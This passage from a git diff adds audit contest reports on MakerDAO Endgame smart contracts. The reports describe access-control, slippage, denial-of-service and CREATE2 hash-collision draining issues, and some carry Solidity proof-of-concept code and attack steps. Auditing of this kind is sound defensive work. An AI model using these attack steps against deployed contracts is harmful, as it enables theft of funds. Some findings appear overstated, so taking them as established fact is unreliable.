can retain them even after authorization is revoked. + +## Impact + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/nst/src/Nst.sol#L96 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/ngt/src/Ngt.sol#L85 +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/ngt/src/Ngt.sol#L85](url) +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/ngt/src/Ngt.sol + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/sdai/src/SNst.sol + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol + +## Tool used + +Manual Review + +## Recommendation +It is necessary to grant higher permissions to the "rely" and "deny" actions. \ No newline at end of file diff --git a/016/128.md b/016/128.md new file mode 100644 index 0000000..7f29250 --- /dev/null +++ b/016/128.md @@ -0,0 +1,35 @@ +Joyful Peanut Corgi + +High + +# The implementation of ward/rely/deny in the project may cause administrators to lose their privileges and could also result in malicious grantees having permanent access. + +## Summary + +The implementation of ward/rely/deny in the project may cause administrators to lose their privileges and could also result in malicious grantees having permanent access. + +## Vulnerability Detail + +Malicious grantees can call the deny() function to revoke the administrator’s privileges. + +They can also call the rely() function to increase their privileges so that they can retain them even after authorization is revoked. + +## Impact + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/nst/src/Nst.sol#L96 + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/ngt/src/Ngt.sol#L85](url) +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/ngt/src/Ngt.sol + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/sdai/src/SNst.sol + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeClipper.sol + +## Tool used + +Manual Review + +## Recommendation +It is necessary to grant higher permissions to the "rely" and "deny" actions. \ No newline at end of file diff --git a/017.md b/017.md new file mode 100644 index 0000000..7e4efa5 --- /dev/null +++ b/017.md @@ -0,0 +1,23 @@ +Large Lead Boa + +Medium + +# Call to non-existing contracts returns success + +## Summary + +## Vulnerability Detail +Low level calls (`call`, `delegatecall` and `staticcall`) return success if the called contract doesn’t exist (not deployed or destructed) +As written in the [solidity documentation](https://docs.soliditylang.org/en/develop/control-structures.html#error-handling-assert- +The low-level functions `call`, `delegatecall` and `staticcall` return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/Multicall.sol#L12 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SubProxy.sol#L76 +## Tool used + +Manual Review + +## Recommendation +Check for contract existence on low-level calls, so that failures are not missed. \ No newline at end of file diff --git a/018.md b/018.md new file mode 100644 index 0000000..3ddadea --- /dev/null +++ b/018.md @@ -0,0 +1,172 @@ +Elegant Pistachio Gibbon + +Medium + +# Funds transferred to an Vote Delegate Pool can be drained by an attacker via a hash collision. + +# Lines of code + +https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegateFactory.sol#L61C14-L61C22 + +https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegate.sol#L65 + +# Vulnerability details + +Funds transferred to an Vote Delegate Pool can be drained by an attacker via a hash collision. + +Proof of Concept +(NOTE: This report is inspired from this past valid report. Necessary changes have been made to suit the maker dao Protocol.) + +The attack consists of two parts: Finding a collision and actually draining the lending pool. We describe both here: + +PoC: Finding a collision + +https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegateFactory.sol#L61C14-L61C22 + +The function create() from VoteDelegateFactory compute the salt solely from msg.sender address, which means, the final address where the contract will be deployed relies solely on the parameters of the constructor of the newly created contract, in this case, the address chief_, address polling_, address delegate_ + +the address chief and address pool is fixe and does not needs to be brute forced. + +the attack only needs to predict the address delegate. + +the address delegate can be some famous governance address (maker dao governance address, etc...) + +https://github.com/makerdao/vote-delegate/blob/ae29376d2b8fdb7293c588584f62fe302914f575/src/VoteDelegate.sol#L65 + + + function create() external returns (address voteDelegate) { + voteDelegate = address(new VoteDelegate{salt: bytes32(uint256(uint160(msg.sender)))}(chief, polling, msg.sender)); + created[voteDelegate] = 1; + + emit CreateVoteDelegate(msg.sender, voteDelegate); + } + + +The address collision an attacker will need to find are: + +The address where an delegate address would be deployed to (1). + +Arbitrary attacker-controlled wallet contract (2). + +Both sets of addresses can be brute-force searched because: + +As shown above, salt is set derived from msg.sender, thus, the final address is determined only by the three parmeters passed to the constructor. By brute-forcing many address values, we have obtained many different (undeployed) address accounts for (1). The user can know the address of vote delegate pool before deploying it, + +(2) can be searched the same way. The contract just has to be deployed using CREATE2, and the salt is in the attacker's control by definition. +An attacker can find any single address collision between (1) and (2) with high probability of success using the following meet-in-the-middle technique, a classic brute-force-based attack in cryptography: + +Brute-force a sufficient number of values of delegate address (2^80), pre-compute the resulting account addresses, and efficiently store them e.g. in a Bloom filter data structure. + +Brute-force contract pre-computation to find a collision with any address within the stored set in step 1. +The feasibility, as well as detailed technique and hardware requirements of finding a collision, are sufficiently described in multiple references: + +1: A past issue on Sherlock describing this attack. +2: EIP-3607, which rationale is this exact attack. The EIP is in final state. +3: A blog post discussing the cost (money and time) of this exact attack. +The hashrate of the BTC network has reached 6.5x10^20 hashes per second as of time of writing, taking only just 31 minutes to achieve 2^80 hashes. A fraction of this computing power will still easily find a collision in a reasonably short timeline. + +PoC: Draining the lending pool +Even given EIP-3607 which disables an EOA if a contract is already deployed on top, we show that it's still possible to drain the Vote Delegate Pool entirely given a contract collision. + +Assuming the attacker has already found an address collision against an undeployed vote delegate pool, let's say 0xCOLLIDED. The steps for complete draining of the Vote Delegate Pool are as follow: + +First tx: + +Deploy the attack contract onto address 0xCOLLIDED. +Set infinite allowance for {0xCOLLIDED ---> attacker wallet} for any token they want. +Destroy the contract using selfdestruct. +Post Dencun hardfork, selfdestruct is still possible if the contract was created in the same transaction. The only catch is that all 3 of these steps must be done in one tx. + +The attacker now has complete control of any funds sent to 0xCOLLIDED. + +Second tx: + +Deploy the address to 0xCOLLIDED. +Wait until the contract will hold as many tokens as you want and drain it. +The attacker has stolen all funds from the the contract. + +# Proof of Concept + +While we cannot provide an actual hash collision due to infrastructural constraints, we are able to provide a coded PoC to prove the following two properties of the EVM that would enable this attack: + +A contract can be deployed on top of an address that already had a contract before. +By deploying a contract and self-destruct in the same tx, we are able to set allowance for an address that has no bytecode. +Here is the PoC, as well as detailed steps to recreate it: + +Paste the following file onto Remix (or a developing environment of choice): + +POC + +```solidity +pragma solidity ^0.8.20; + +contract Token { + mapping(address => mapping(address => uint256)) public allowance; + + function increaseAllowance(address to, uint256 amount) public { + allowance[msg.sender][to] += amount; + } +} + +contract InstantApprove { + function setApprove(Token ts, uint256 amount) public { + ts.increaseAllowance(msg.sender, amount); + } + + function destroy() public { + selfdestruct(payable(tx.origin)); + } +} + +contract Test { + Token public ts; + uint256 public constant APPROVE_AMOUNT = 2e18; + + constructor() { + ts = new Token(); + } + + function test(uint _salt) public returns (address) { + InstantApprove ia = new InstantApprove{salt: keccak256(abi.encodePacked(_salt))}(); + address ia_addr = address(ia); + + ia.setApprove(ts, APPROVE_AMOUNT); + ia.destroy(); + return ia_addr; + } + + function getCodeSize(address addr) public view returns (uint) { + uint size; + assembly { + size := extcodesize(addr) + } + return size; + } + + function getAllowance(address from) public view returns (uint) { + return ts.allowance(from, address(this)); + } +} +``` + +Deploy the contract Test. + +Run the function Test.test() with a salt of your choice, and record the returned address. The result will be: + +Test.getAllowance() for that address will return exactly APPROVE_AMOUNT. +Test.getCodeSize() for that address will return exactly zero. + +This proves the second property. + +Using the same salt in step 3, run Test.test() again. The tx will go through, and the result will be: + +Test.test() returns the same address as with the first run. +Test.getAllowance() for that address will return twice of APPROVE_AMOUNT. +Test.getCodeSize() for that address will still return zero. +This proves the first property. + +# Tools Used +Manual Audit + +# Recommended Mitigation Steps +Don't use an preventable salt to create the pools. diff --git a/019.md b/019.md new file mode 100644 index 0000000..34b3472 --- /dev/null +++ b/019.md @@ -0,0 +1,42 @@ +Fancy Cloth Orca + +High + +# h-04 `VoteDelegate` Contract Governance roles 0xaliyah + +## Summary + +0xaliyah + +title: `VoteDelegate` Contract Governance Roles + +1. methods in the `VoteDelegate` contract are allow the delegate to execute votes on governance decisions without the emitting events or using time-lock mechanisms. + +## Vulnerability Detail + +1. the `vote` methods (`vote(address[] memory yays)` and `vote(bytes32 slate)`) and `votePoll` methods (`votePoll(uint256 pollId, uint256 optionId)` and `votePoll(uint256[] calldata pollIds, uint256[] calldata optionIds)`) have enable the delegate to making the impactful decisions for the protocol governance without transparency +2. if this methods lack a two-step process with a mandatory time window, allowing immediate execution of actions which can lead to governance manipulation or misuse without perhaps prior notice + +## Impact + +1. highly impact and medium likeliness +2. absence of event emissions and time-lock mechanisms lead to untraceable governance changes and potential misuse for a delegate authority + +## Code Snippet + +[poc 01](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/vote-delegate/src/VoteDelegate.sol#L113) +[poc 02](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/vote-delegate/src/VoteDelegate.sol#L117) +[poc](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/vote-delegate/src/VoteDelegate.sol#L123) +[poc](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/vote-delegate/src/VoteDelegate.sol#L127) + +## Tool used + +Manual Review + +## Recommendation + +1. the time-lock mechanism for the sensitive functions +2. the two-step process with the mandatory delay for the impact changes + +[openzeppelin](https://blog.openzeppelin.com/protect-your-users-with-smart-contract-timelocks) +[consensys](https://consensys.io/diligence/audits/2020/12/1inch-liquidity-protocol/#unpredictable-behavior-for-users-due-to-admin-front-running-or-general-bad-timing) \ No newline at end of file diff --git a/021.md b/021.md new file mode 100644 index 0000000..f15b351 --- /dev/null +++ b/021.md @@ -0,0 +1,47 @@ +Zealous Pastel Jaguar + +Medium + +# Permit functionality breaking on token name update leading to potential loss of funds + +## Summary + +Updating the token name for `SDAO.sol` can cause the permit functionality to revert. + +## Vulnerability Detail + +`SDAO.sol` contains a function `file()` to update the token name or symbol. Since `permit()` uses the EIP712 `_DOMAIN_SEPARATOR` with the token name (domain separator uses the cached value when block.id matches the block.id from the contract deployment), messages signed offchain with the new token name will not work. + +In essence, updating a SubDAO token name can break the permit functionality and potentially cause negative repercussions on users who are providing offhchain approvals using the new token name which will mismatch the codebase `_DOMAIN_SEPARATOR` that will continue to use the old token name. + +## Impact + +It's tricky to quantity loss of funds involved with this bug. However, there are scenarios where breaking permit for SubDAO tokens can lead to loss of funds for users. DeFi is made of highly composable money legos, and specially for an extremely popular protocol like MakerDAO, there can be downwards effects from permit breaking. For example: + +- Funds meant to be managed or moved through permit-based mechanisms (e.g. staking, lending, vote-delegation) can become locked or inaccessible, and even result in potential penalties depending on token prices. + +- Yield farming strategies relying on permit failing to execute, translating into financial losses and or missed opportunities. + +- Users relying on permit for executing trades or arbitrage opportunities might miss critical market windows, leading to financial loss. + +- A contrived example can be: upon permit not working, users end up using the traditional erc20 approval, which can be expensive on ethereum mainnet during high gas prices, resulting economic loss for and decreased user inclusion for SubDAO tokens. + +- Furthermore, previous signatures signed with the old name that should be considered invalid will be considered valid. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L175-L176 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L116 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L129 + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L383 + +## Tool used + +Manual Review + +## Recommendation + +When updating the token name on `file()`, `_DOMAIN_SEPARATOR` should be recalculated with the new token name. diff --git a/024.md b/024.md new file mode 100644 index 0000000..3960bb8 --- /dev/null +++ b/024.md @@ -0,0 +1,53 @@ +Micro Emerald Tortoise + +High + +# Owner possible to set `Owner` and `Authority` to the zero address. + +## Summary +The `SplitterMom` contract has two functions, `setOwner` and `setAuthority`, that allow changing the contract owner's address (`owner`) and the authority address (`authority`). However, neither function includes checks to prevent these addresses from being set to the zero address (`0x0`). + +## Vulnerability Detail +- `setOwner(address _owner)`: This function allows the current owner to change the contract's owner. However, it does not verify if the new `_owner` address is the zero address. +- `setAuthority(address _authority)`: This function allows the current owner to change the authority address. Similar to setOwner, it does not check if the new `_authority` address is the zero address. + +## Impact +Setting owner or authority to the zero address can lead to the following consequences: +- Loss of Control: If `owner` is set to the zero address, it will be impossible to change the owner or authority again, rendering the contract unmanageable. +- Increased Security Risk: If `authority` is set to the zero address, the authority-based access control mechanism will be disabled, making the contract more vulnerable to attacks. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/SplitterMom.sol#L68-L76 + +```solidity + function setOwner(address _owner) external onlyOwner { + owner = _owner; + emit SetOwner(_owner); + } + + function setAuthority(address _authority) external onlyOwner { + authority = _authority; + emit SetAuthority(_authority); + } +``` + +## Tool used + +Manual Review + +## Recommendation +require checks should be added to both functions to ensure that the provided new addresses are not the zero address: + +```solidity +function setOwner(address _owner) external onlyOwner { ++ require(_owner != address(0), "SplitterMom/new-owner-cannot-be-zero"); + owner = _owner; + emit SetOwner(_owner); +} + +function setAuthority(address _authority) external onlyOwner { ++ require(_authority != address(0), "SplitterMom/new-authority-cannot-be-zero"); + authority = _authority; + emit SetAuthority(_authority); +} +``` \ No newline at end of file diff --git a/025.md b/025.md new file mode 100644 index 0000000..ad484e6 --- /dev/null +++ b/025.md @@ -0,0 +1,71 @@ +Passive Spruce Manatee + +High + +# The protocol lacks slippage protection when removing liquidity + +## Summary +The protocol lacks slippage protection when removing liquidity, making it vulnerable to sandwich attacks, which can lead to losses. + +## Vulnerability Detail +The function `UniV2PoolMigratorInit.init()` is designed to remove all liquidity from a Uniswap V2 pool. The DAI obtained from this liquidity removal is then converted into NST, and MKR is converted into NGT. These tokens are subsequently added as liquidity in a new pool, pairing NST and NGT. +```solidity + uint256 daiAmtPrev = dai.balanceOf(pProxy); + uint256 mkrAmtPrev = mkr.balanceOf(pProxy); + + GemLike(pairDaiMkr).transfer(pairDaiMkr, GemLike(pairDaiMkr).balanceOf(pProxy)); + PoolLike(pairDaiMkr).burn(pProxy); + + DaiNstLike daiNst = DaiNstLike(dss.chainlog.getAddress("DAI_NST")); + MkrNgtLike mkrNgt = MkrNgtLike(dss.chainlog.getAddress("MKR_NGT")); + + uint256 daiAmt = dai.balanceOf(pProxy) - daiAmtPrev; + uint256 mkrAmt = mkr.balanceOf(pProxy) - mkrAmtPrev; + dai.approve(address(daiNst), daiAmt); + mkr.approve(address(mkrNgt), mkrAmt); + daiNst.daiToNst(pairNstNgt, daiAmt); + mkrNgt.mkrToNgt(pairNstNgt, mkrAmt); + PoolLike(pairNstNgt).mint(pProxy); + +``` + + + However, the protocol lacks slippage protection during the `burn()` process, making it vulnerable to sandwich attacks. Malicious users can buy tokens in advance to manipulate the price of one token, causing the amount received from `burn()` to be less than expected, resulting in a loss for the protocol. The attacker then sells the tokens afterward to profit from the manipulated price. +In the Uniswap V2 router's remove liquidity function, we see that the protocol specifies `amountAMin` and `amountBMin` to set the minimum expected amounts to be received. +https://github.com/Uniswap/v2-periphery/blob/master/contracts/UniswapV2Router02.sol +```solidity + // **** REMOVE LIQUIDITY **** + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { + address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); + IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair + (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to); + (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB); + (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); + require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); + require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); + } + +``` + +However, in the `init()` function, these parameters are missing. Although the Maker Governance Contract has 99.97% of the liquidity(https://etherscan.io/token/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2#balances), the protocol is still susceptible to sandwich attacks. If such an attack occurs, the potential loss could be significant. + +## Impact +The protocol will incur losses. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol#L41-L73 + +## Tool used + +Manual Review + +## Recommendation + It is recommended to implement slippage protection to mitigate this risk. \ No newline at end of file diff --git a/026.md b/026.md new file mode 100644 index 0000000..302028f --- /dev/null +++ b/026.md @@ -0,0 +1,72 @@ +Passive Spruce Manatee + +High + +# The protocol lacks slippage protection when executing the `exec()` function + +## Summary +The protocol lacks slippage protection when executing the `exec()` function, making it vulnerable to sandwich attacks and resulting in potential financial losses. + +## Vulnerability Detail +In the `FlapperUniV2.exec()` function, the protocol first swaps DAI for GEM tokens, then adds liquidity using the remaining DAI and GEM tokens. The issue here is the lack of slippage protection when calling `pair.mint()` to add liquidity. This makes the protocol vulnerable to sandwich attacks, potentially leading to losses. +```solidity + // Swap + console.log(address(pair)); + GemLike(dai).transfer(address(pair), _sell); + (uint256 _amt0Out, uint256 _amt1Out) = daiFirst ? (uint256(0), _buy) : (_buy, uint256(0)); + console.log(_amt0Out); + console.log(_amt1Out); + pair.swap(_amt0Out, _amt1Out, address(this), new bytes(0)); + // + +``` + +From the Uniswap V2 router's `addLiquidity()` function, we see that parameters `amountAMin` and `amountBMin` are used for slippage protection. +```solidity +function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) { + (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin); + address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); + TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); + TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); + liquidity = IUniswapV2Pair(pair).mint(to); + } + +``` + + However, these parameters are missing in the current implementation. Additionally, when the protocol uses `_getAmountOut()` to calculate the amount of GEM tokens needed for purchase and subsequently adds liquidity, the check `require(_buy >= _sell * want / (uint256(pip.read()) * RAY / spotter.par()), "FlapperUniV2/insufficient-buy-amount")` does not effectively provide slippage protection. Since `_getAmountOut()` is calculated within the protocol, if the pool has already been manipulated, the computed value may not be accurate. +```solidity + uint256 _sell = _getDaiToSell(lot, _reserveDai); + + uint256 _buy = _getAmountOut(_sell, _reserveDai, _reserveGem); + + require(_buy >= _sell * want / (uint256(pip.read()) * RAY / spotter.par()), "FlapperUniV2/insufficient-buy-amount"); + // + +``` +Testing showed a significant discrepancy between the `_buy()` and `_sell * want / (uint256(pip.read()) * RAY / spotter.par())` calculations, indicating that this check does not offer adequate slippage protection. +```solidity + 1079773319885657774 + 1053763436384426919 + +``` + +`FlapperUniV2SwapOnly.exec()` also has the same issue. +## Impact +The protocol incurs losses. +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L141-L164 +## Tool used + +Manual Review +The recommended fix is to implement slippage protection to prevent such vulnerabilities. + +## Recommendation diff --git a/027.md b/027.md new file mode 100644 index 0000000..0dcfa54 --- /dev/null +++ b/027.md @@ -0,0 +1,59 @@ +Generous Orange Raccoon + +Medium + +# The function `drip` will revert when diff is 0, which leads to the DOS of key functionalities. + +### Summary + +In `SNst.sol`, the function withdraw, redeem, mint and deposit will be DOSed as the function `drip` reverts. This problem will occur in the following two scenarios: +1. When the difference between block.timestamp and rho_ is small, it may cause nChi to be the same as chi_. +2. When the nsr is set to a smaller value, it may cause nChi to be the same as chi_. **An extreme case is when nsr=RAY, nChi will always be equal to chi_, which causes the contract to be permanently DOS until the admin updates it.** + +### Root Cause + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/sdai/src/SNst.sol#L214-L229 + +In `SNst.sol:220`, there is no check whether diff is 0, causing the parameter of `nstJoin.exit` to be 0. + + +### Internal pre-conditions + +No pre-conditions + +### External pre-conditions + +No pre-conditions + +### Attack Path + +Calls to the function withdraw, redeem, mint and deposit **may fail at any time**. + +### Impact + +Users will not be able to withdraw, redeem, mint and deposit. + +### PoC + +```solidity + function testJoinExitZero() public { + address receiver = address(123); + assertEq(nst.balanceOf(receiver), 0); + assertEq(vat.dai(address(this)), 10_000 * RAD); + vm.expectRevert("Vat/not-allowed"); + nstJoin.exit(receiver, 4_000 * WAD); + vat.hope(address(nstJoin)); + vm.expectEmit(true, true, true, true); + emit Exit(address(this), receiver, 4_000 * WAD); + nstJoin.exit(receiver, 0); + } +``` +Please put this piece of code in the file `NstJoin.t.sol`. +This piece of code will be reverted as the parameter of function nstJoin.exit is 0. + +![poc1](https://github.com/user-attachments/assets/3e12e77b-0395-4bab-8f3c-aefb506fec56) + + +### Mitigation + +before calling the nstJoin.exit, check where diff is 0. \ No newline at end of file diff --git a/028.md b/028.md new file mode 100644 index 0000000..3b0ec74 --- /dev/null +++ b/028.md @@ -0,0 +1,1170 @@ +Radiant Ultraviolet Platypus + +High + +# Critical Precision Mismatch in LockstakeClipper Causes Extreme Incentive Miscalculations, Risking Protocol Solvency Through Both Massive Overpayments and Severe Underpayments + +### Summary +A critical vulnerability exists in the LockstakeClipper contract's incentive calculation mechanism. This flaw causes severe miscalculations of liquidation incentives for keepers, potentially destabilizing the entire liquidation process of the MakerDAO Endgame protocol. The bug results from a precision mismatch in the calculation, where values of different precisions (WAD and RAD) are incorrectly combined. +In cases of larger liquidations or higher chip values, this leads to keepers receiving approximately 10^27 times the intended incentive. Conversely, for smaller liquidations or when the tip component is significant, keepers may be severely underpaid, receiving as little as 10^-27 of the intended incentive. +This dual nature of the vulnerability poses an immediate and severe risk to the protocol's solvency and overall stability. It could lead to rapid depletion of protocol funds in cases of overpayment, while also potentially causing a lack of keeper participation in cases of underpayment. The issue persists across different chip values, indicating a fundamental flaw in the incentive structure. + +### Root Cause +The root cause is in the `kick` function of the `LockstakeClipper` contract. The incentive calculation incorrectly adds a WAD precision value (_tip, 18 decimal places) directly to a RAD precision value (wmul(tab, _chip), 45 decimal places): +```javascript +coin = _tip + wmul(tab, _chip); +``` +This causes two issues: +1. The _tip (in WAD) is treated as if it were in RAD precision when added to the chip calculation, effectively reducing its value by a factor of 10^27 in larger liquidations. + +2. The entire result is treated as a WAD value when paid out, potentially increasing the total payout by a factor of 10^27 in larger liquidations. + +The net effect depends on the relative sizes of the tip and chip components. + +This can be found here: +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/lockstake/src/LockstakeClipper.sol?=plain#L263 + +### Internal pre-conditions + +The LockstakeClipper contract must be deployed and active in the system. +The contract must have a non-zero tip and/or chip value set. +The kick function must be called to initiate a liquidation. + +### External pre-conditions + +There must be a vault (urn) in the system that becomes unsafe and eligible for liquidation. +The global debt ceiling and ilk debt ceiling must not have been reached. +A keeper must be available and willing to initiate the liquidation process. +The size of the liquidation and the current chip and tip values will determine whether an overpayment or underpayment occurs. + +### Attack Path + +1.An attacker monitors the system for liquidatable positions. + +2. For overpayment exploitation: +a. The attacker waits for or creates large liquidatable positions. +b. They trigger the liquidation through the dog.bark function. +c. They receive a massively inflated incentive due to the precision error. +d. This process can be repeated to drain significant funds from the protocol. + +3. For underpayment scenario: +a. This is less of an active "attack" and more of a systemic issue that emerges over time. +b. Keepers, including the attacker, notice that small liquidations (e.g., under 10,000 NST) provide negligible rewards due to the precision error. +c. As a result, keepers naturally avoid these small liquidations as they're not profitable. +d. Over time, this leads to an accumulation of small, unliquidated positions in the system. +Or an attacker can grief the protocol by: +a. The attacker creates multiple small liquidatable positions. +b. They avoid triggering liquidations themselves. +c. Other keepers are disincentivized from liquidating due to the severely reduced incentives. +d. This could lead to an accumulation of bad debt in the system as liquidations are delayed or not performed. + +The vulnerability could also be exploited unintentionally by regular keepers, leading to either excessive profits or losses, both of which destabilize the system. + +### Impact + +Some keepers benefit from overpayments(causing losses for the protocol keepers can receive up to 10^27 times the intended amount), while others incur losses on underpaid liquidations(keepers can be underpaid between 47% to 99% of the intended incentive). + +Protocol Insolvency Risk: +Overpayment scenario: Keepers receiving incentives up to 10^27 times the intended amount could rapidly drain the protocol's resources. +Underpayment scenario: Keepers may become unwilling to perform liquidations, especially for smaller vaults where the reward doesn't cover gas costs. This can lead to a backlog of undercollateralized positions, increasing the protocol's exposure to bad debt during market downturns. +Combined effect: The protocol faces a dual threat of resource depletion and accumulation of bad debt, significantly increasing the risk of insolvency. + + +User Collateral Loss: +In a normally functioning system, when a user's position becomes undercollateralized, it's quickly liquidated to prevent further losses. +With reduced keeper participation, liquidations may be delayed. +During this delay, if the collateral value continues to drop, by the time liquidation occurs, a larger portion of the user's collateral will be needed to cover the debt. +This results in users recovering less of their collateral after liquidation than they would in a properly functioning system(loss of funds for users). + + +Increased Liquidation Penalty for Users: +To compensate for the reduced keeper incentives, the protocol might increase the liquidation penalty (the chop parameter). +This means users whose positions are liquidated would lose a larger portion of their collateral, effectively losing more funds. + + +Systemic Undercollateralization: +If liquidations are not happening efficiently, the overall system could become undercollateralized. +This puts all users' funds at risk, as the protocol may not have sufficient collateral to back all issued NST tokens. +The reduced incentives may discourage keeper participation, potentially leading to delayed or failed liquidations. This could result in an accumulation of bad debt in the system, threatening its overall stability. + +Economic Losses for Users: +In underpayment scenarios, users whose positions are not liquidated promptly may end up losing more collateral than necessary when liquidation eventually occurs at a lower collateral value. +In overpayment scenarios, the protocol's losses could indirectly impact users through higher stability fees or reduced DSR (Dai Savings Rate) to cover the deficit. + +NST Token Depeg Risk: +If the market loses confidence in the protocol's ability to maintain proper collateralization, the NST token could lose its peg to the target value. +This would result in a direct loss of value for all NST token holders. + + +Governance Token (MKR) Value Depression: +As the protocol accumulates bad debt due to inefficient liquidations, it may need to mint and sell more MKR tokens to cover this debt. +This can lead to inflation of MKR supply and subsequent value depression, causing losses for MKR holders. + + +Exploitative Attacks: +Malicious actors could potentially exploit this vulnerability by creating multiple small, undercollateralized positions. +Knowing that these positions are unlikely to be liquidated due to low keeper incentives, they could effectively extract value from the system. + + +Governance Token (MKR) Value Depression: +To cover losses from overpayments or accumulated bad debt, the protocol may need to mint and sell more MKR tokens, leading to inflation of MKR supply and subsequent value depreciation. + +Liquidity Provider Losses: +If the NST token depegs due to systemic undercollateralization, liquidity providers in NST/other asset pools could suffer impermanent loss. + + +Cascading Liquidations and Market Crash: +In a severe market downturn, the inefficient liquidation process could lead to a cascade of delayed liquidations. +This could cause a "death spiral" where mass liquidations drive down collateral prices, leading to more liquidations, and potentially causing a market crash in the collateral assets. + + +### PoC + +Add these files to your test folder in the Lockstake directory: + +LockstakeEngineMock.sol: +```javascript +// SPDX-License-Identifier: AGPL-3.0-or-later +pragma solidity ^0.8.21; + +interface VatLike { + function hope(address) external; + function move(address, address, uint256) external; + function frob(bytes32, address, address, address, int256, int256) external; + function slip(bytes32, address, int256) external; + function suck(address, address, uint256) external; + function rely(address) external; +} + +interface GemLike { + function approve(address, uint256) external; + function transfer(address, uint256) external; + function transferFrom(address, address, uint256) external; + function mint(address, uint256) external; + function burn(address, uint256) external; +} + +interface NstJoinLike { + function nst() external view returns (address); + function vat() external view returns (address); + function join(address, uint256) external; + function exit(address, uint256) external; +} + +interface JugLike { + function drip(bytes32) external returns (uint256); +} + +contract LockstakeEngineMock { + // --- Auth --- + mapping(address => uint256) public wards; + + function rely(address usr) external auth { + wards[usr] = 1; + emit Rely(usr); + } + + function deny(address usr) external auth { + wards[usr] = 0; + emit Deny(usr); + } + + function hope(address usr) external auth { + vat.hope(usr); + } + + modifier auth() { + require(wards[msg.sender] == 1, "LockstakeEngineMock/not-authorized"); + _; + } + + // --- Data --- + VatLike public immutable vat; + NstJoinLike public immutable nstJoin; + GemLike public immutable nst; + bytes32 public immutable ilk; + GemLike public immutable mkr; + GemLike public immutable lsmkr; + uint256 public immutable fee; + JugLike public jug; + + uint256 constant WAD = 10 ** 18; + uint256 constant RAY = 10 ** 27; + + // --- Events --- + event Rely(address indexed usr); + event Deny(address indexed usr); + event File(bytes32 indexed what, address data); + event Lock(address indexed urn, uint256 wad, uint16 ref); + event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed); + event Draw(address indexed urn, address indexed to, 